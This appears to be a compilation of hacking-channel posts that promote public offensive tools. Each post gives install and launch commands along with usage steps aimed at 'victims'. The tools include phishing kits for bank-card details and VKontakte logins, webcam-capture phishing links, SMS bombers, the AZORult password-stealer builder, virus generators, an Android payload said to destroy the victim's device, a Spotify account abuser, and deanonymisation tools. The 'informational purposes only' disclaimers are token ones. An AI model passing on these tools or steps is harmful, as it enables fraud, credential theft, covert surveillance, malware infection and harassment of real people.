Finding website vulnerabilities

XAttacker - created for the lazy and inquisitive, with it you can not only find out what engine the site is on, but also find out its vulnerabilities, as well as get links to these vulnerabilities.

Installation

$ apt install git
$ git clone https://github.com/Moham3dRiahi/XAttacker.git
$ cd
$ chmod +x termux-install.sh
$ bash termux-install.sh

Usage

$ perl XAttacker.pl - launch;
$ perl XAttacker.pl -l list.txt - if there is a list of websites;
$ perl XAttacker.pl -multi - enable multithreading;

Follow the victim with a link

Trape is an OSINT tool that allows you to monitor and execute social engineering attacks in real time.

The utility creates a phishing link that allows you to follow the user who clicks on it. Thanks to this tool, you can get information such as: IP, geolocation, OS. You can also run js scripts remotely, upload files to a PC. It will be possible to find out on which services the user is registered.

Installation

$ apt update -y
$ apt upgrade -y
$ apt install python
$ apt install git
$ git clone https://github.com/jofpin/trape.git

launch

$ cd tape
$ pip3 install -r requirements.txt
$ python3 trape.py --url <link to any page> --port 8080

Usage

$ python3 trape.py --url http://example.com --port 8080

​Install 340 useful utilities with one click

Sashay is a script that gives you the ability to automatically install 340 basic Linux tools with which you can upgrade your "skills".

Categories:
- DDOS attacks
- Brute force attacks
- Scan websites for vulnerabilities
- OSINT tools
- Sniffing
- and a couple of other useful programs.

Installation:
• git clone https://github.com/viewerdiscretion/sashay.git
• cd sashay
• chmod +x install

Launch:
• sh install

To run at any time use the sshy command

Hacking a webcam using a phishing attack

It is worth noting in advance that we have already published similar tools. However, this utility has a wide variety of settings for phishing links, port forwarding and bypassing Google.

Seeu is a bash-based script for hacking device cameras using portforwarding and google bypass functions.

Installation

$ apt-get update -y
$ apt-get upgrade -y
$ termux-setup-storage
$ pkg install curl -y
$ pkg install wget -y
$ pkg install git -y
$ pkg install php -y
$ git clone https://github.com/noob-hackers/seeu
$ cd see

launch

$ bash seeu.sh

We will open a menu, press the number 1 and proceed to setting up a phishing page. Next, select the type of phishing link, generate it and run it. We throw off the link to the victim and after she clicks on it, we will receive her photo in the folder with the script.

Script for sms attacks

MySMS v1.0 is a script that generates an Android application with the functionality of SMS attacks over WAN. For Kali Linux users.
https://github.com/papusingh2sms/mysms

🔰 EXCLUSIVE Spotify Auto Upgrader 🔰

https://github.com/sickaesir/auto-spotify-upgrader
https://www.mediafire.com/file/mztgfmm7i190k2u/AutoSpotifyUpgrader.zip/file

With this program you can multiply your premium accounts if you have family owner spotify accounts.

Just feed in the free account list, the family owner account list and let the magic happen.

It features:
- Automatic country change

- Builtin checker

- Automatic invite code grabbing & applying

- And more i can't remember cause ffs was so long ago

I've spent a fair amount of hours on this to keep it ez & clean.

​SMS Bomber Collection on GitHub!

Selection:
▪️https://github.com/AvinashReddy3108/YetAnotherSMSBomber
▪️https://github.com/TheSpeedX/TBomb
▪️https://github.com/Nikait/ni_bomber
▪️https://github.com/iMro0t/bomb3r
▪️https://github.com/metachar/Tortuga

🔰AZORult Stealer 3.2 Builder+Panel🔰

Steal Saved Passwords, Cookies, Autofill From Browsers

⛓ DOWNLOAD : https://github.com/hariomenkel/azorult

✖️

✅✨15 BEST INFORMATION GATHERING TOOLS ✅✨

🌐 Network Map (nmap) - https://github.com/nmap/nmap

🐲 Dracnmap - https://github.com/Screetsec/Dracnmap

☃️ Xerosploit - https://github.com/LionSec/xerosploit

🧧 RED HAWK (All In One Scanning) - https://github.com/Tuhinshubhra/RED_HAWK

🕷 ReconSpider(For All Scaning) - https://github.com/bhavsec/reconspider

☠️ IsItDown (Check Website Down/Up) - https://www.isitdownrightnow.com/

📧 Infoga - Email OSINT - https://github.com/m4ll0k/Infoga

🐶 ReconDog - https://github.com/s0md3v/ReconDog

🏒 Striker - https://github.com/s0md3v/Striker SecretFinder (like API & etc) - https://github.com/m4ll0k/SecretFinder

😲 Find Info Using Shodan - https://github.com/m4ll0k/Shodanfy.py

🔎 Port Scanner - rang3r - https://github.com/floriankunushevci/rang3r

😮‍💨 Breacher - https://github.com/s0md3v/Breacher

We create a virus for Android/Windows/Linux

Hello everyone.
Well Z Virus is a collection of ready made viruses. This software is capable of generating viruses for all operating systems, and all you need to do is send a link to your victim and force them to download the virus.

Installation:
▪️git clone https://github.com/ZechBron/zVirus-Gen.git
▪️cd zVirus-Gen
chmod +x setup.sh
▪️./setup.sh

Usage:
▪️bash zVirus - program launch

All information is provided for informational purposes only. We are not responsible for your actions.

​SMS Bomber Collection on GitHub

Hello everyone.
Today I present to your attention a selection of suitable SMS Bobmers.
We study and use.

Selection:
▪️https://github.com/AvinashReddy3108/YetAnotherSMSBomber
▪️https://github.com/TheSpeedX/TBomb
▪️https://github.com/Nikait/ni_bomber
▪️https://github.com/iMro0t/bomb3r
▪️https://github.com/metachar/Tortuga

All information is provided for informational purposes only. We are not responsible for your actions.

Phishing CC

Hello everyone.
Cardesc is a debit/credit card phishing tool. The principle of operation is simple - with the help of social engineering, we convince the victim to go through the page and enter his card details.

Installation:
▪️apt install python3 git
▪️git clone https://github.com/escdroid/cardesc.git
▪️cd cardesc
▪️chmod +x *
▪️pip3 install -r requirements.txt

Usage:
▪️python3 bank.py - run utility
FOR INFORMATION PURPOSES ONLY!

All information is provided for informational purposes only. We are not responsible for your actions.

Encrypting text into an image

ImSter is a utility that allows you to securely hide and view password-encrypted text inside an image. Text is encoded in image pixels, not metadata. It is impossible to determine by eye whether there is hidden content in the image.

Installation

Install the latest release: https://github.com/armytricks/ImSter/releases/tag/v1.1.2
$ chmod +x ImSter-*.jar

Usage

$ java -jar ImSter-xxx.jar encode -i input.png -o output.png -m "message" -p password

You can read more about using the utility on the official GitHub page of the repository.

Convenient phishing Vkontakte

Fisher is a weeman script adapted for copying VK pages.

Installation

$ apt update && apt upgrade
$ apt install python2
$ apt install git
$ git clone https://github.com/foxlitegor/fisher
$ cd fisher
$ chmod 777 install.sh
$ sh install.sh
$fish
$ run

Usage

Create a second session in Termux (swipe from left to right) and write:

$ apt install openssh
$ ssh -R 80:localhost:8080 ssh.localhost.ru

After that, we will generate a phishing link, send it to our “victim” and enjoy the result

All-in-One Hacking Toolkit

VARIOUS is a universal utility with all kinds of hacking scripts.

Installation

$ git clone https://github.com/Err0r-ICA/VARIOUS.git
$ cd VARIOUS

launch

$ python3 Various
Next, enter the password: ICA

New tool for OSINT in Telegram

Telepathy is a tool for collecting information from Telegram chats. At the moment, the utility is able to work only with the source of forwarded messages, the functionality will expand over time.

Installation

$ git clone https://github.com/jordanwildon/Telepathy.git
$ pip install -r requirements.txt
$ run setup.py

launch

$ cd Telepathy
$ python3 setup.py

After that, we launch telepathy.py and add the authorization code from Telegram on the first use. You can learn more about the tool on Github

Hacking a webcam using a phishing attack

CAM DUMPER is a utility that takes a picture from the victim's webcam when clicking on a malicious link.

We have already published several similar tools, however, CAM DUMPER has a number of advantages - the malicious page has the HTTPS protocol, and there is also the ability to record video and sound.

Installation

$ apt update && apt upgrade
$ apt install git php wget curl jq
$ git clone https://github.com/LiNuX-Mallu/CAM-DUMPER.git
$ cd CAM-DUMPER
$ chmod +x camdumper.sh
$ ./camdumper.sh

The developer also recommends installing Material Files, for easy management of captured targets.

Strictly for informational purposes

How to infect any Android device?

Good day! The infection process is carried out using a link. So, the hacker creates a link, after which he throws it to his victim, when the victim clicks on the link, the System Update.apk file is downloaded to her device. As soon as this software is installed, the Android of the victim will begin to be destroyed.

Let's go!

1. For installation is used:
apt-get update -y
$ apt-get upgrade -y
$ pkg install python -y
$ pkg install python2 -y
$ pkg install git -y
$ git clone https://github.com/noob-hackers/infect
2. The launch is carried out using the following commands:
$ cd $HOME
$ cd infection
$bash infect.sh

Powerful phishing tool

SuperLink allows you to create a phishing site using a PHP server and Ngrok and generate a link to it. When the victim opens the link, they will be prompted to give some permissions. If the victim clicks on the "allow" button, then we will get his data up to the location.

Installation

$ git clone https://github.com/IHosseini083/SuperLink.git
$cd SuperLink
$ bash linux_installer.sh

Usage

$ python3 SuperLink.py -p (port)

Deanonym of a person from a photo

EagleEye is a utility that allows you to find people's social profiles. networks by their photo and supposed name.

Installation:
▪️git clone https://github.com/ThoughtfulDev/EagleEye
▪️cd EagleEye && sudo pip3 install -r requirements.txt
▪️sudo pip3 install --upgrade beautifulsoup4 html5lib spry

Launch:
▪️python3 eagle-eye.py